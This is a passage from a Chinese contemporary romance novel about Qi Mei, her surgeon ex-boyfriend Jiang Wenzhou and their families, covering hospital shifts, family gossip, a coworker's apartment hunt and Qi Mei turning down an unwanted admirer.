她不停地回想江问舟跟她说的每一句话。 他问她过得开不开心,是现在开心还是以前,问她如果有机会,愿不愿意回到过去…… 他跟她说再见,说这是最后一次。 最后一次什么?最后一次拥抱,还是最后一次问这个问题,甚至是最后一次见面? 齐眉想到这里,心里一顿,最后一次见面绝对不可能,他不回家了呀? “哎哟,这么晚了,西西你还不快去睡?”孙茂芸的声音响起,“老江,还不快去洗洗睡,几点了?” 齐眉应了声,转身推门回房。 和往常一样,将头发整理好,睡衣的外套脱下,转身搭在衣柜旁边的衣架上,顺手就把灯给关了。 一片漆黑之中,她躺倒在柔软的床铺上时,忍不住发出一声长长的叹息。 只是这声叹息刚吐到一半,突然戛然而止。 齐眉突然从床上坐了起来,情不自禁地脱口一句:“我靠!” ————— “这几年让你受了很多委屈,也坚持得很辛苦,我却一直没有注意到,也没有问过你真正想要什么。” 江问舟的话这时再一次在齐眉的脑海中响起,在漆黑的夜里不停地敲击她的耳膜。 这话也有点太耳熟了吧? 她白天刚跟任清葭聊过前任,提到那几年为了维持形象坚持得很辛苦,转眼之间江问舟就跟她说了这样的话? 这么巧?是他们分手几年还这么默契,还是有其他原因? 齐眉更加倾向于后者。 毕竟他可是亲口盖章认定那几年他一直没有注意到她真正想要的是什么的,既然这样,就不可能指望都分开这么久了,他突然意识到她以前是在为了取悦他而坚持。 那几年……齐眉在黑暗中紧握双手,叹了口气。 他估计除了上班之外,所有多余的精力都用在琢磨怎么让方仕平难受,收集能把他扳倒的证据,又不让他发现是自己在做手脚。 所以哪儿有反思自己的功夫呢? 而且默契这种事,齐眉一直觉得得两个人生活在一起、至少得常常见面,有沟通和交流,才会熟悉对方的想法,才能达成你说一我知二的这种默契。 可是现在,她已经连江问舟在想什么都摸不准了,还谈何默契。 那么就只剩下一种可能性。 齐眉握在一起的双手松开,攥成拳头狠狠往床上一锤,后牙槽都咬紧了。 江问舟这个王八蛋!居然偷听她和清葭姐的墙角!!! 这是在哪儿染上的臭毛病?以前他也不这样啊! 就算……就算是她门没关紧,有礼貌的人,难道不该听见了就立刻自己走开? 同时升腾起来的,仍旧是那个疑问:最后一次什么? 齐眉想不通,躺在床上翻来覆去好半天,总觉得自己如果不弄明白这个问题,就会错过什么一样。 就像打游戏,主线任务做到一定进度,就得去打一个副本,打完副本出来,才能接到后续任务。 现在这个问题,就像是游戏的关键任务,她要是弄不清楚,就不知道后面是什么,该怎么办。 她思来想去,实在睡不着,决定还是问问。 可打开手机找联系人时,她才发现自从将江问舟的联系方式加回来以后,他们还没有私聊过。 齐眉不由得一阵恍惚,开始犹豫,真的有必要问吗? := 问到了答案,又能怎么样呢? 他说是,她还能像以前那样嗔怪地骂他讨厌跟他发脾气吗?他说不是,她除了一声哦,或者干巴巴的道歉,还能说什么? 想到这里,齐眉长长地叹口气,拇指往左边划了几下,手机页面就返回到了桌面。 她沉默着将手机息屏,塞进枕头底下,盘着腿在床上枯坐。 脑海里出现江问舟的脸,试图从某一点开始梳理自己对他的感情,却发现不管怎么理,最后都会变成一团乱麻。 齐眉觉得自己整个人都麻了。 她从小到大其实没太多心事,不愁吃穿不愁学习,所有辗转反侧过的夜晚,都是因为少女心事。 也都是因为江问舟。 他像天空中最亮得那颗星星,她曾经很努力地向它奔去,靠近它,最后将它摘下,捧在手心。 最后又亲自松手,将它放了回去。 人可以一而再,再而三的拥有同一颗星星吗?齐眉忽然这样想。 想着想着,她终于熬不过困意,睡着了。 醒来已经是第二天早上八点多,她整理好床铺开门出去,*就听见江眀琮在招呼年年:“过来,去散步了。” 年年遂屁颠屁颠地跑过去,听话地让爷爷给自己戴上牵引绳,满脸都是要出去玩的兴奋,丝毫没有注意到齐眉出来了。 他们出门以后,齐眉才从卫生间出来,揉着耳廓往厨房走,站在门口习惯性地问孙茂芸:“干妈,金金呢?” 刚问完就愣住,然后听孙茂芸哭笑不得地提醒她:“金金昨晚就回家去了,忘了?” 齐眉顿时讪讪。 还真是忘了,金金在这边住了几天,她已经习惯它的存在,结果好家伙,人家突然就回家了。 怪不适应的,她忍不住啧一声,撇撇嘴角。 吃过早餐,孙茂芸说要去买菜,问她去不去。 怕自己闲下来会多想,齐眉二话不说就答应了,陪着孙茂芸在菜场跑了一圈,还顺道去面包节逛了一圈,买回来不少东西。 五月初还不到荔枝大规模上市的时候,水果店里在售的荔枝都很贵,但孙茂芸看到了,还是拿了一盒,说是尝尝鲜。 倒是甜瓜和凤梨有好价,买回去做成鲜果切,一份给齐眉当场就吃,另外两份用保鲜盒装起来,暂时放进冰箱。 齐眉目光一闪,问道:“中午要去医院看纪叔叔吗?” “下午再去吧,你去不去?”孙茂芸从厨房里探头问道。 齐眉犹犹豫豫,想了想还是摇摇头:“算了吧,我等纪叔叔做手术那天看看,要是当天休息我就当天去,要是不凑时间,我就下班再去。” “也行,老是去医院也不好,细菌多。” 孙茂芸话音刚落,年年跑了过来,它大概是肚子饿了,过来蹭齐眉要吃的。 齐眉用手肘揉揉它脑门,给了它一块甜瓜。 江问舟今天值二线班,早上刚到办公室,都还没来得及去病区转转,就接到急诊电话,说有个频发心绞痛的老年病人要会诊。 下去看了一眼,直接就送手术室做IABP了,搞到中午才出来,回到科室刚端起水杯,急诊电话又来了,有个胸痛的,怀疑主动脉夹层。 他拿起听诊器又下楼了。 到了急诊,江问舟听说病人有高血压病史,撕裂样胸痛,朝背部放射,再一看双侧血压,就让人赶紧把病人推去做急诊冠脉CT,然后掏出手机给蔡朝打电话。 手术室值班护士接到蔡朝的电话,让准备急诊手术的时候,忍不住吐槽了一句:“你们江主任刚走,又要来?” 蔡朝一噎,不由得苦笑:“这也不是我们想的啊,辛苦辛苦,回头请你们喝下午茶。” 这台手术做了六个小时,中午进去的,出来时太阳已经下山。 洗手的时候听到远处有同事问别的同事:“晚上吃什么,厚切猪排饭吃不吃?” 江问舟这时才猛然想起,自己中午饭都没吃。 一时不由得苦笑,今天可真是“幸运”满满的一天。 回到办公室,守家的学生告诉他:“主任,62床的家属来找过你,三点多的时候。” 江问舟喝水的动作一顿,问道:“男的女的?” 学生说是女的,他便知道是孙茂芸了,便点点头道了声谢,转身往外走。 看他走了,这位学生才有些惊讶又好奇地问另一位学生:“师姐,主任是不是脾气很好啊?” 被问的人疑惑地啊了声:“……你怎么得出这个结论的?” “就……我以为他最多会说知道了,结果他跟我说谢谢……大概是这样?”问的人回答得犹犹豫豫,似乎很不确定自己的感觉有没有错。 蔡朝听见觉得有意思,忍不住笑着问她:“师妹,你新来的吧?” 对方一听他说话,表情更加茫然,更加不确定了,犹犹豫豫的继续道:“……有没有可能、你是我的带教?” 蔡朝:“???” 他愣了一下才反应过来,连忙同对方说不好意思:“今天手术做昏头了,实在没反应过来,还以为你是廖宇峰的学生。” 廖医生是今天的值班一线,隔壁组的。 学生刚来,不熟,也不好开玩笑,只哦哦两声点点头。 大概是为了活跃气氛,蔡朝问她:“你知道老大为嘛跟你道谢吗?” 对方摇摇头,眨眼:“……因为他好人?” 大家听了都忍不住笑出声来,之前她叫师姐的那位学生边笑边解释道:“你知道他为什么问你男的女的吗?62床是从外地过来做手术的,陪护的是他儿子,但是他是江主任家的亲戚,江主任的爸妈天天来看他。” 所以她一说来找医生的家属是女的,江问舟就知道是孙茂芸了。 他进了病房,用速消液擦过手,转身问道:“妈你去找我有事?” “给你带了饭菜和水果,叫你来拿嘛。”孙茂芸看着电视,头也不回地应道,“结果你做手术去了。” 说完继续跟纪琏讨论这一集里面出现的某个角色是不是就是凶手。 江问舟问候一句纪达,见他和江眀琮忙着下棋一看就没时间理会自己,就问孙茂芸东西在哪儿。 “我一天没吃东西了。”他还随口说了句。 孙茂芸正准备嗑瓜子,闻言立刻就把瓜子放下了,问道:“你手术做了一整天十几个小时呀?” “……我班都还没上到十几个小时。”江问舟故意看一眼窗外,确定天还是亮着的,接着才解释,“做完一台回来又来一台,后面这台是升主动脉夹层,比较麻烦,刚好是中午来的。” 孙茂芸边听边点头,起身去给他拿带来的饭盒,“我这就去给你热热。” 江问舟笑起来,连忙拉住她,“不用,我自己去热就行,你还是……” “我还是去给你热吧。”孙茂芸打断他的话,吐槽道,“你是我生的,我还不知道你?要真是不管你,你保准要不高兴,觉得我不重视你了。” 江问舟有些不好意思,老脸一热,但又没办法否认,只好抿着唇笑笑,扣了扣耳垂。 然后转身跟着孙茂芸出去,背影看上去十分老实。 见母子俩出去了,江眀琮才吐槽道:“都多大的人了,还跟小时候一样。” 纪达落下一枚棋子,不以为意道:“在爹妈面前不像孩子,要去哪儿像?” “这话说得倒也是。”江眀琮叹口气,“现在的年轻人也难,压力大,就没一个是轻松的。” “这是孩子正正经经做事才这样,要是那些靠着家里,给安排到清闲岗位的,舒坦着呢,天天享受世界。”纪达嗤了声,语气略显嘲讽。 江眀琮一听立刻摇头:“那不行,人一闲,准保生事。” 接着就说起以前有个老同事,想办法将女儿安排到某清闲岗位,又给买房买车,帮忙操办婚事,还每个月补贴小家庭养孩子的开销,这日子谁看了不说一声安逸。 结果就是太安逸了,觉得没激情没意思,和同单位一个有妇之夫好上了,俩人出去开房,被对方的爱人带着几个表兄弟姐妹堵在房间里,当场抓奸。 “还去他们单位、她家的小区拉横幅,哎哟,真的是丢死人了,还得他卖老脸去摆平,不然早就上热搜了。”江眀琮边说边摇头。 凡事都怕对比,比起这样能惹事的,他觉得自家这两个真是好得不得了,从小到大都那么懂事,学习和工作都超努力的。 什么?你说有人觉得我家姑娘开酒吧,那是个乱七八糟的娱乐场所?他们懂个屁,一杆子打翻一船人,没品的东西! 孙茂芸回来的时候,正好听到江眀琮在说这事,于是问了句:“说老吕家的事呐?” 江眀琮停下,点着头问了句:“舟舟吃上饭了?” “吃上了吧,热好给他拿办公室去了。”孙茂芸应道,又叹气,“一天没吃东西,也不知道怎么撑下来的,时间一长,我看他的胃肯定要坏。” 被念叨胃要坏了的江问舟提着饭盒回到办公室,将装水果的保鲜盒拿出来,递给蔡朝。 蔡朝接过,嘿嘿两声:“这多不好意思,阿姨给你带的。” 江问舟笑笑:“今天辛苦了,晚上的饭我请。” 蔡朝说了句谢谢老大,就开始在抽屉里翻外卖给的多余的筷子。 听到大家说甜瓜和凤梨真甜,还有人说这果切做得真好看,颜色搭配得清新亮眼,切得还那么匀称好看,江问舟便抬眼往那边多看两眼。 想到在用微波炉时母亲说的话。 “今天去买水果,都是西西挑的,回来也是她帮忙切的,挑得可好了,哎呀,以前她哪懂这些,还不都是开店以后才不得不学的。” 他忍不住叹口气。 其实不是啊,怎么挑水果这种事,是她以前就学会了的。 是什么时候呢?他努力回想了一下,大概是有一次她和室友买了同样的水果,但吃起来没人家买的好,她的好胜心一上来,就开始努力钻研各种水果什么样的才是最新鲜的了。 大家都只知道她既漂亮,成绩又好,却总是忘了她付出过多少。 就连他作为男朋友,都没有发现,她为了维持这个人设,到底有多辛苦。 希望她以后能轻松一点吧。江问舟收回视线,拧开保温桶的盖子,一阵鸡汤的鲜味蹿进鼻孔。 第30章 第三十章(二合一)我哥怎么不上家里…… 这天值班结束之后,江问舟还有两天休息,孙茂芸让他过去齐眉那边吃饭,却被他拒绝了。 理由是:“难得有时间,整理一下论文资料,一会儿还要去实验室看看。” “金金呢?金金怎么办?”孙茂芸立刻问。 “……我看你想让我吃饭是假,想让金金过去才是真。”江问舟哭笑不得,“看来当务之急是给你找一只合适的猫。” 不然老盯着他的猫算怎么回事。 孙茂芸不赞同他的说法,反问他:“我想见见我儿子,顺便见见我猫孙女,有什么不对吗?” 江问舟忍俊不禁:“是没什么不对,要不您和爸过来我这儿住两天?来我这儿住您就都能看到了。” 孙茂芸一想也是,就答应了。 只是问到江眀琮的时候,他不想去,“我也去了年年晚上谁遛?西西今天可是上班,再说了,我明天还得去找老纪下棋呢。” 于是孙茂芸决定自己去,让老头子晚上自己找饭吃。 江眀琮牵着年年,唉声叹气道:“你奶奶不要我们啦,哎呀,只有我们相依为命了,今晚要斩点料补补才行。” “你少给它吃加油加盐的东西。”孙茂芸都要出门了,听见这话连忙回头叮嘱。 齐眉是晚上跟孙茂芸视频时才知道她去了江问舟那边的,先是惊讶,过后才好似不经意地问:“干爸不去的话,只有舟哥陪你呀?” “怎么可能。”孙茂芸失笑,将镜头怼近金金,继续道,“他有自己的事要做,现在还在实验室没回来呢,哪儿有空陪我。” 她说江问舟早上才下夜班回来,中午睡了几个小时,下午三点多就去实验室了。 说完还跟她感慨:“我现在是真的觉着你当初死活不肯去医院上班是好事了,姑娘你指定有菩萨托梦,看着你哥这样,我都怕他那天吧唧一下人就没了。” 她说江问舟昨天值班,从早上到了办公室没多久就开始上手术,一直忙到傍晚六点,中午饭都没吃。 “就那么硬挺着,我问他你都没觉得饿吗?他说没感觉,你说这人,啧。”她吐槽完就撇撇嘴叹口气。 齐眉听了好半晌没说话。 她想起从前,江问舟其实一直都是这样,工作起来饥饱不知,甚至根本就是不在意,总说是没感觉到饿。 有时候他甚至还振振有词:“一定程度的饥饿可以让我保持清醒。” 一听就是狡辩,强词夺理。 齐眉一开始总会被他气得说不出话,赌气说不管他了,他就会黏过来哄她。 后来她懒得管了,只给他准备点吃的,方便他下台就能吃,偶尔吐槽他:“难怪别人都说最好就嫁给外科医生,挣得多死得早。” 他就跟她讲歪理,笑话她这是想嫁人了,随后半真半假的将话题往跟家里公开他们关系那边带。 那些互相之间来回拉扯充满了无奈和甜蜜,如今想起,又觉得像是冥冥之中的预警。 当你和一个人存在无法达成共识的问题,而这个问题又非常重要,是你们关系中无论如何都绕不开的重要问题,爆发争吵和争执几乎是未来的必然。 这段关系也就迟早会在争吵之中走向破裂和崩溃的结局。 所以后来她才会跟江问舟说,即便没有方仕平的事发生,他们也未必真的可以走到最后。 齐眉不觉得自己有错,江问舟更是没有问题,只是觉得遗憾,仅此而已。 “哗啦——” 陈羽丹从卫生间出来,拉开桌旁的椅子坐下,椅子腿和地面摩擦发出一阵有些刺耳的动静。 齐眉立刻回过神,听孙茂芸聊起别的事。 “昨天在医院,你爸跟你纪叔叔说起你吕叔叔家女儿的事了,我说我当初就说了,他家那个闺女就不是个甘于平淡的人,小学就早恋请家长,初中放着实验中学不去,要和喜欢的小男生一起上十三中,高中离家出走,她要的就是轰轰烈烈。” “这样的孩子就不能给她安排在文化馆那么清闲的部门,太闲了早晚要寻刺激,这不,出事了吧?很有妇之夫搅和到一块儿去了,偷偷摸摸的能不刺激嘛!” 孙茂芸边说边叹气,“就是你吕叔叔这辈子的名声都快被她毁完了,可惜咯。” 说到这里她忽然又哼了声:“不过这也是他自找的,不会教孩子不都这样?我说他是活该,你爸还说我说话不好听,嘁。” 齐眉听了不知怎么的就一时有些心虚。 半晌等她说完了,才小声问道:“那……她现在怎么样了?” “还能怎么样,离了呗。”隔着电话,就算是视频,孙茂芸也没察觉她的心虚,应道,“孩子送回娘家让大人照顾了,自己么……听说是只顾着谈恋爱的。” 齐眉好奇心顿时就起来了,什么心虚不心虚,立刻忘掉,问道:“她还在原来的单位?那个跟她有什么的男的呢?” “都还在文化馆啦,男的也离婚了,现在人家是正经男女朋友了,根本就不在意同事和周围人怎么想,还说准备结婚呢。” 齐眉惊讶:“吕叔叔和杨阿姨居然也同意?” “不同意能怎么样。”孙茂芸叹气,抱怨道,“儿女都是债,等你以后有小孩就懂了。” 别人越是议论,越是反对,她就越觉得自己要坚持,所有人都不理解她,不知道她想要什么,除了爱人。 孙茂芸说到最后,还告诫她:“我可跟你说,你不准学她那样,我宁可你一辈子不结婚,你放心,你们单位是国企,你好好干,以后就算没老头没孩子,也有人管你临终,问题不大,要是恋爱脑发作,碰到个高段位的,那是要被坑得一辈子爬不起来的。” 那种心虚的感觉顿时又出现了,齐眉一阵讪讪,连忙答应:“知道了。” 嘀嘀咕咕说完这事,孙茂芸又嘱咐了几句别的,这才把视频挂断。 齐眉松口气,抬眼就看见陈羽丹正坐在桌边一脸认真地看着自己,不由得一愣。 “……这是怎么了?”齐眉好奇,笑着调侃道,“听八卦听入迷啦?” 陈羽丹托着腮,叹了口气,摇摇头:“不是啊,就是……” 她话说一半就顿住不说了,齐眉眨眨眼,问道:“你最近是不是有什么……我感觉你好像心情不太美妙?” “怎么可能美妙呀。”她摇摇头,突然说了句仿佛不搭噶的话,“我哥过几天就要结婚了。” 齐眉一怔,猛然想起,她曾经说过,因为嫂子要进门,而家里住房紧张,所以家里希望她能尽快结婚,这样就可以名正言顺地搬出去了。 而且家里也不用背上赶女儿出门的良心债。 “……什么时候啊?”齐眉问道,声音也跟着放轻不少。 “日子特别好记。”陈羽丹笑笑,“十二号,正好是护士节呢。” 应完顿了两秒,立刻接着道:“我最近在找房子,找到一间还可以的,就在医科大学那边,约了房东明天要去看。” 她问齐眉可不可以陪她去,因为她从来没有自己去租过房,心里有些没底。 齐眉马上就答应了,说:“明天下班我们一起走,我开车载你去。” 陈羽丹笑着道了声谢,收拾好个人物品,熄了灯,爬到上铺去。 一阵窸窣的动静之后,齐眉刚打开一个新的网页,就听上铺传来陈羽丹有些郁闷的声音:“其实……我这段时间、嗯……有跟一个男的在接触,但是……” 虽然听出了她语气里的迟疑和沮丧等等复杂情绪,但齐眉犹豫片刻,还是选择了更安全的回应:“是么,你谈恋爱啦?” 陈羽丹沉默半晌,说:“我也不知道算不算……我们就是见了几次面而已,应该不算吧,都没有正式说要在一起,而且……” 她又安静下来,齐眉等了一会儿,还没听到她继续,这才追问道:“而且什么?” “……我不知道怎么说。”陈羽丹的声音再次变得郁闷。 齐眉就有些好奇地问她:“你们怎么认识的?” “我姑婆介绍的。”陈羽丹实话实说,“是她一个熟人的侄子,在电网做工程师,家里不是容城的,在陵城下面一个县,说是如果成了的话,可以给我们在容城付首付,我爸妈觉得还不错,就让我去见见他。” “然后呢?”齐眉挺好奇,“他的个人条件怎么样?我是说身高长相这些。” 陈羽丹哦了声,说:“就是一般人,算不上帅,但也不丑,一米七左右,戴眼镜,发际线有一点高,但也还好,脾气……说实话看不太出来,但这几次见面感觉应该还不错。” “听起来感觉还行,那你……”齐眉顿了顿,干脆直接问道,“我觉得你好像很犹豫,为什么呢?是还有什么顾虑吗?” 陈羽丹嗯了声,说:“我们第一次见面的时候,他问我工作,我说在民航医院,他问我在哪个科,我说不在院本部,是在机场的急救中心,他问我是医生吗,我说不是啊,我姑婆没有跟你婶婶说吗,我是护士,他说,哦我以为我婶婶不懂,传错了……” 齐眉啊了声,刚想说这不就是很明显的试探吗,就听陈羽丹继续道:“然后他就问我大学是什么学校的,听说我是大专的护理专业,就说,你高考怎么不多考几分啊,当医生比当护士好多了,护士就是伺候人的,我说那要是没护士,医生能把活干完吗,难道不是各司其职不分贵贱吗?” “然后呢?”齐眉按捺着心里的吐槽欲问道。 “然后他就说我太敏感了……”陈羽丹问齐眉,“这真的很敏感吗?” 齐眉没有立刻回答,而是问:“他让你觉得不舒服?” 陈羽丹说是,齐眉就问她:“除了这一件事,还有别的吗?” 陈羽丹想了想:“嗯……他问我年龄的时候,我也觉得不舒服,我说我二十五了,他就说你都这个年纪了啊,确实有点迟了,我说你是觉得我年纪大吗,他说你不要太激动,我只是说一个事实而已,人都会活到这个岁数的,我比你年纪还大呢……我觉得这个话怪怪的,眉姐你说,我感觉有没有出错?” “当然没有啦。”齐眉这下是真的忍不住了,“哇,这人真的是……他要是跳进容江,能请全国人民喝一整年的龙井茶。” 陈羽丹噗嗤一声笑出来。 她听到齐眉说:“你不是敏感,而是敏锐。” 这是以前江问舟曾经对齐眉说过的话。 当时齐眉在普外科轮转,她的带教是一位四十多岁的中年女医生,从跟组第一天起,她对齐眉就很冷淡,区别对待她和同时分到她手下的同学和规培师姐。 写病历和开医嘱是不会教的,问其他人要不要去跟手术就是漏掉齐眉,值班时他们聊天,明明聊得很开心,但齐眉一接话,她立刻就不吭声了,连脸上的笑容都好像淡了不少,自然吃饭也不会叫她,有时候甚至不点她的餐,然后跟她说哎呀对不起我忘了,这样吧,我给你发个红包,你自己点吧,最后发一个十块钱的红包…… 齐眉很惶恐,不知道自己哪里做错,忍了几天还是去问江问舟,也是问他,自己是不是太敏感,误会了老师。 江问舟摸摸她的头,跟她说不是,确实是对方对她不友善,让她相信自己的直觉。 安慰好她以后,江问舟托人去问过这位带教,对方的回答是:“哎呀,你们误会啦,我没有针对她,只是看她漂亮,就想多磨练磨练她,越是漂亮的女孩子面对的诱惑就越多,得好好打磨才能脚踏实地,做出一番成绩来。” 江问舟说这就是狡辩,让齐眉别搭理她,混完一个月拉倒,回头他再给她补课。 不过后来倒是听室友说过,好像那个老师是因为丈夫出轨同公司一个很漂亮的新人小姑娘,闹了婚变,所以对漂亮女孩一视同仁心怀敌意,齐眉也不知真假。 她回过神,继续对陈羽丹说:“你要相信自己的直觉,他就是在对你进行PUA,如果你现在认同他的这些话,以后慢慢的,你会越来越自卑,越来越离不开他,他让你做什么你就做什么,嗯……” “你买鞋都知道要挑舒服的买,找男人你挑一个让你不舒服的?没必要吧姐妹。” 齐眉说完停下来,叹了口气。 半晌,她听见上铺也传来一声叹息。 随着这声叹息散去,休息室内也变得安静下来,渐渐就只剩均匀的呼吸声。 第二天一早,齐眉和接班同事交过班,拉着陈羽丹刚要走,就被肖涵堵在了门口。 齐眉一不小心,差点撞到他,连忙往旁边一侧身,额头咚一下,撞到了门框。 她痛得眉头一皱,响动又把其他同事的目光吸引过来,刚接班的同事甚至还发出了善意的笑声,让她一阵头痛和心里不痛快。 肖涵被这突发的变故吓了一跳的同时,有些手足无措,连忙同她道歉,问她:“……你、你没事吧?要不、要不我送你去医院看看?撞到头可大可小的……” “停!”齐眉抬手做了个暂停的手势,随后深吸一口气,对他道,“我们借一步说话。” 说完一拉陈羽丹,严肃道:“羽丹也一起来,做个见证。” ————— 说起来齐眉也觉得很奇怪。 除去在食堂被组长杨恒和同事介绍认识那会儿,受限于上一休二的工作制度,她上班的时间本来不多,就算工作时间偶有摸鱼,他跑来医务室串门,她也都装作忙碌避开的。 第二天早上下班就更不用说了,她基本能溜尽溜,实在没跑掉,才应付他几句跟“早上好”一样没啥营养的话。 肖涵确实试图约过她,但都被她避开了,问就是家里有事,店里有事——单位基本所有认识她的同事,都知道她还有个副业是开酒吧。 所以是她避嫌得还不够明显吗? 齐眉搞不懂,在这种对方对你避之唯恐不及、双方话都没说过几句的情况下,肖涵到底是在坚持什么? 想到这里,她有些好奇地打量着肖涵,小伙子的眉眼干净清爽,脸上还挂着一点婴儿肥,抿着唇的样子看上去相当倔强,有种不服输的光芒。 但被她这么盯着,他又很赧然,脸孔一点点开始涨红,目光也变得躲闪,磕磕巴巴地问:“……你、你怎么……呃、有什么事吗?” 看他满脸不自在,好像手脚都不知道怎么摆的样子,陈羽丹一时没忍住,噗嗤笑出了声。 齐眉听见,也没忍住,跟着嘴角一翘。 肖涵见她笑了,脸上顿时更红,气氛在松动了一秒之后,便旋即变得更加局促。 甚至到了尴尬的地步。 齐眉没有再看他,而是耸耸肩道:“我们一会儿还有要紧事,我就长话短说了。” “肖涵,你以后不要再来找我了。”她直截了当地道,“你有不舒服,需要开药或者检查,欢迎来医务室,有旅客有需要,也欢迎、麻烦你带他们来,或者给指个路,但是……” 她顿了顿,语气里多了一丝无奈:“请不要再以个人名义,打着追求我的旗帜,来找我了,这给我带来了很大困扰,最近每天下班要走的时候,我都会提心吊胆,要速速溜走,像一个过街老鼠一样抱头鼠窜。” 她像是自嘲,但神情却非常认真。 肖涵被她说得面红耳赤,看着她的目光既震惊又难过,张口结舌好半天都不知道说些什么才好。 半晌才憋出来一句:“……为、为什么?” “因为我不喜欢比我小的呀。”齐眉爽快回答道,“我不是找借口搪塞你,是真的,我喜欢比我大的,而且最重要的是,我现在不考虑个人问题。” 肖涵看着她,神情渐渐沮丧,就像一只受到伤害后垂头丧气的小狗,嘴角和眼尾都耷拉了下来。 齐眉看了也不由得有一瞬心软,再说话时声音变得温和许多:“我们之前根本不认识,谈不上什么了解,你喜欢我,无非是因为我长得好看,或者听别人说我家里条件好。” 肖涵一愣,立刻就想解释:“我不是……” “其实我很早就没有父母了。”齐眉的语速很快,直接给他透底,“我现在所有的一切,都是来自于组织的关怀和照顾,根本不是大家猜测的那样,是因为我父母是高官。” 她亲妈要是能活到现在,也许会是吧,但世间没什么如果,人不在就是不在了。 陈羽丹前面还觉得是看热闹,听到这里才狠狠一怔:“……眉姐?” 齐眉看她一眼,点点头,神色坦然:“是真的啊,我不可能拿这种事来开玩笑的,我妈在我特别小还不会记事的时候就没了,八岁的时候我爸也没了,是我干爸干妈养大我的,搁一些人的眼里,我就是个克父克母的命格。” “那……那昨天跟你打电话的是?”陈羽丹震惊地看着她,觉得自己说话都有些不利索了。 齐眉给人的感觉一直是那种被父母疼爱着长大、富养出来的孩子,生活富足,什么都不用愁,所以特别松弛,甚至佛系。 每天按部就班地上班,有工作就做,但是对什么荣誉什么升职之类的事毫不关心,而且她还有副业,陈羽丹和其他同事说起她,印象关键词里总有一个是“不争不抢”。 姿态特别好看,因为这些东西她根本不缺。 但没想到她的家庭……这还是第一次听说,而且往常也听她提起过爸妈,难道…… “那是我干妈。”齐眉解释,“从小养大我的,跟亲妈一样的。” 说完她叹口气,挠挠脸,小声嘟囔:“跑题了诶,刚才说到哪儿了……” 顿了顿,她才继续说回之前的话题,对肖涵道:“如果说漂亮,那你更没必要执着了,别处我不知道,但我们这儿,绝对不缺帅哥美女,有像我这样喜欢老头的,就肯定有喜欢弟弟的,你肯定能找到适合的对象。” 所以真的不要再盯着她了!怪吓人的! 肖涵:“……” 他看着齐眉,眼圈渐渐有些发红,连声音都有些哽咽:“真的……一点可能都没有吗?” “没有哦。”齐眉摇摇头,声音是温和的,但很坚定,“人和人之间就是这样的,没有缘分嘛。” “希望你以后能找到真正喜欢又适合的人。”她说完冲陈羽丹使了个眼色,“我们还有事要去办,就先走了。” 陈羽丹点点头,跟着她走了两步,又倒退回去,拍拍肖涵的肩膀,对他说了句:“没事哒,过去就好了。” 人生呢,求而不得才是常态啦。 说完她一溜烟追上齐眉,满脸欲言又止,一直到上了车,齐眉才说:“有什么问题可以直接问的。” 她呃了一下,问道:“眉姐,你真的……嗯、家里……就是我有点好奇,你有干爸干妈照顾的话,组织照顾是怎么说啊?” 问完又立刻说:“不方便告诉我可以不说的,我就是有点好奇而已。” “没什么不方便的。”齐眉笑笑,“我妈妈在我小学五年级那年,迁到了容城的*烈士陵园。” 这事是江眀琮一力促成的。 当时肖骊和齐天远生前追查的那个贩毒集团终于被彻底捣毁,最大的毒枭头子吃完花生米后,上头论功行赏,追认了几位烈士,其中之一就是肖骊。 齐眉因此多了一笔抚恤金,但那时候她年纪小,什么都不懂,这些事都是孙茂芸他们几个叔叔阿姨一同经办的,直到上了大学,家里决定给她置办房子的时候,她才知道来龙去脉。 不过小时候确实很自豪的,每年清明学校组织同学们去陵园祭拜烈士,都一定会有她,要作为学生代表发言,那种光荣的感觉,让她永远不会因为自己没有父母而感到自卑。 陈羽丹一愣,旋即反应过来,恍然大悟。 接着又好奇:“为什么你会喜欢比自己大的男生啊?恋父情结吗?” 这个问题倒是让齐眉哭笑不得,她连连摇头:“不不不,我一点都没有这个情节,只是……” 她顿了顿,转了一下方向盘,食指指腹轻拍几下方向盘,沉默半晌,又不禁失笑。 突然发现自己的动作和江问舟那么像。 她当初学开车,他就是她的教练。 齐眉叹了口气,回过神,声音淡淡地道:“网上有句话说,年少时不能遇见太惊艳的人,否则余生都无法安宁度过。我遇到的就是这样的人,他非常出色,对我非常好,他为我做过的事足以影响我的一生,而他恰好比我年长几岁。” 所以江问舟就成了她心头的朱砂痣,再看其他人,总觉得比不上他,不过尔尔。 这么好的人啊,陈羽丹眨眨眼:“那……你们分手,是因为……他做了对不起你的事?” “当然没有。”齐眉笑笑,摇摇头淡声道,“生活不是童话故事,必然存在分歧,我们有些很重要的问题没有达成共识,就分开了。” 陈羽丹刚想说可惜,话都到了嘴边,脑海里又忽然灵光一闪。 脱口问道:“是上次来接你那个吗?你的前男友?” 齐眉握着方向盘的手指不由得紧缩,半晌才嗯了一声,紧接着立刻问陈羽丹:“你要去看的房子具体在哪儿?” 这就是不想继续多聊这个问题的意思了,陈羽丹立刻从善如流,报上自己要去的地址。 那是一间位于容医大对面城中村的房子,房东的自建房,整整五层,全都租了出去。 陈羽丹要看的那间位于三楼,是一个家电齐全的大开间,但有独立的卫生间和厨房,还有一个阳台,看上去倒是宽敞明亮,但齐眉看了看朝向,感觉应该不会有什么太阳照进来。 但房东表示:“要是能晒到太阳,就不止一千二咯。” 这个城市的阳光都是要用钱买的,齐眉不禁失笑,这房东倒也算实诚。 “我跟你们说实话,我这房子再加几百都租得出去,喏,对面又有医院又有大学,不愁租的,但我平时上班忙,没空管那么多,就想便宜一点,租给一个能爱护房子的人,我不随便涨你租金,但你也不要把我房子搞坏……” 齐眉站在阳台上,远远望着楼下来往的行人。 这里生活极其便利,楼下就是各种小饭馆和水果档口,还有超市,往前走不远是菜市场,一直走到大路口就是公交站,坐三站公交就是地铁站,有直达的机场快线,半个小时就可以到机场。 齐眉抬头,远远便看见一附院的“十”字,定定看了一会儿,想起今天孙茂芸和江眀琮应该也要去探望纪达,正想着要不要也去看看,手机就响了。 是孙茂芸打来的电话,问她:“西西下班没有?” “下班了,但还没回家。”齐眉回答道,“同事要搬家,我陪她来看房,就在容医大一附院这边,您和干爸要来看纪叔叔吗?” “你爸一会儿去,我就不去了。”孙茂芸笑着应道,问她中午想吃什么,“我在你哥这儿做好了给你带回去。” “都可以,您……您和舟哥吃什么我就吃什么好了。”她垂下眼应道。 总觉得心里有些不安,像是踩不到实处一样。 但又是在说不上来具体是什么感觉,更不知道这种感受从何而来,因何而起。 一定是有什么细节被她忽略了,齐眉垂着眼默默地想。 